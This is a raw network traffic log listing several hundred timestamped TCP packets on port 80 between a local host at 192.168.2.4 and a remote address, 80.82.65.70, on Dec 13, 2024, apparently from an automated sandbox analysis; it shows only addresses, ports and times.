Dec 13, 2024 08:36:35.370170116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.370230913 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.370317936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.370385885 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.371094942 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.371114016 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.371169090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.371169090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.371929884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.371977091 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.372046947 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.372090101 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.372797966 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.372857094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.372915030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.372956038 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.373815060 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.373857975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.373862982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.373895884 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.374605894 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.374641895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.374752045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.374912024 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.375502110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.375556946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.375593901 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.376380920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.376465082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.376473904 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.376513004 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.377290964 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.377331972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.377477884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.377521038 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.378240108 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.378252983 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.378287077 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.379054070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.379129887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.379153013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.379192114 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.379992962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.380063057 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.380101919 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.380143881 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.380863905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.380912066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.381012917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.381052017 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.381818056 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.381861925 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.381951094 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.382026911 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.382883072 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.382941008 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.383021116 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.383106947 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.383719921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.383784056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.383929014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.384073973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.384557009 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.384692907 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.384701014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.384743929 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.385422945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.385459900 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.385481119 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.385499954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.386260033 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.386324883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.386356115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.386395931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.387175083 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.387242079 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.387274027 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.387326002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.388015032 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.388144016 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.388184071 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.388890982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.389003038 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.389091015 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.389141083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.389863968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.389915943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.389971972 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.390012026 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.473273993 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.473401070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.473472118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.473527908 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.473572969 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.473681927 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.473728895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.474443913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.474489927 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.474564075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.474605083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.475289106 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.475337029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.475368023 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.475409985 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.538686037 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.538767099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.538820982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.538865089 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.539026976 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.539060116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.539163113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.539203882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.539982080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.540052891 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.540082932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.540115118 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.540846109 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.540927887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.540954113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.540998936 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.541719913 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.541762114 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.541996002 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.542048931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.542635918 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.542687893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.542758942 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.542807102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.543469906 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.543531895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.543603897 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.543642998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.544387102 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.544487953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.544528961 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.545437098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.545484066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.545543909 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.545587063 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.546363115 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.546453953 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.546468973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.546506882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.547333956 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.547386885 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.547424078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.547466993 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.548211098 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.548257113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.548340082 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.549141884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.549190044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.549263000 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.549309015 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.550148964 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.550194979 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.550268888 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.550307035 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.551079035 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.551126957 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.551173925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.551218033 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.552037954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.552079916 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.552381992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.552450895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.552968025 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.553014994 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.553227901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.553303003 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.553987980 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.554030895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.554131031 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.554169893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.554786921 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.554851055 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.554913044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.555439949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.555515051 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.555527925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.555572987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.556132078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.556174994 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.556219101 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.556265116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.556914091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.557020903 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.557080030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.557117939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.557836056 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.557879925 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.557913065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.557952881 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.558700085 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.558746099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.558799028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.558959007 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.559643984 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.559694052 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.559762955 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.559848070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.560517073 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.560561895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.560607910 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.560674906 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.561403990 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.561444998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.561477900 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.561517000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.562319994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.562427998 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.562930107 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.562968016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.563230991 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.563263893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.563308954 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.563347101 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.564250946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.564321995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.564322948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.564358950 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.565037012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.565073967 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.565169096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.565205097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.565869093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.565999985 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.566035986 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.566838026 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.566917896 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.566930056 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.566963911 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.568053961 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.568474054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.568624973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.568656921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.569061041 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.569155931 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.569180012 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.569192886 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.570122004 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.570168972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.570292950 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.570339918 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.571172953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.571286917 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.571336985 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.571418047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.572319031 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.572386980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.572479010 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.572531939 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.573455095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.573494911 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.573729992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.573767900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.574662924 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.574702978 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.574868917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.574934006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.575778961 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.575819016 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.575926065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.575969934 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.576796055 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.576838017 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.576986074 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.577023983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.577900887 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.577940941 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.578008890 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.578052044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.578779936 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.578819036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.578841925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.578876972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.579680920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.579808950 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.579843044 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.580602884 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.580723047 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.581016064 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.581054926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.581336975 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.581490993 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.581526995 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.582106113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.582143068 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.582211971 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.582247019 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.582854986 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.582967043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.583007097 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.583559036 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.583605051 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.583635092 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.583673000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.665759087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.665782928 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.665827036 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.665878057 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.665971994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.666064024 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.666131973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.666208982 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.666845083 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.666892052 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.666965008 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.667005062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.668122053 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.668168068 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.731514931 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.731858015 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.731978893 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.732036114 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.732048988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.732177973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.732177973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.732898951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.733037949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.733088017 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.733931065 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.733978987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.734080076 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.734124899 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.734761000 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.734950066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.734996080 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.735591888 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.735640049 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.735753059 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.735815048 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.736526966 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.736577034 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.736866951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.736953974 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.737364054 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.737411022 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.737507105 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.737552881 CET	49772	80	192.168.2.4	80.82.65.70
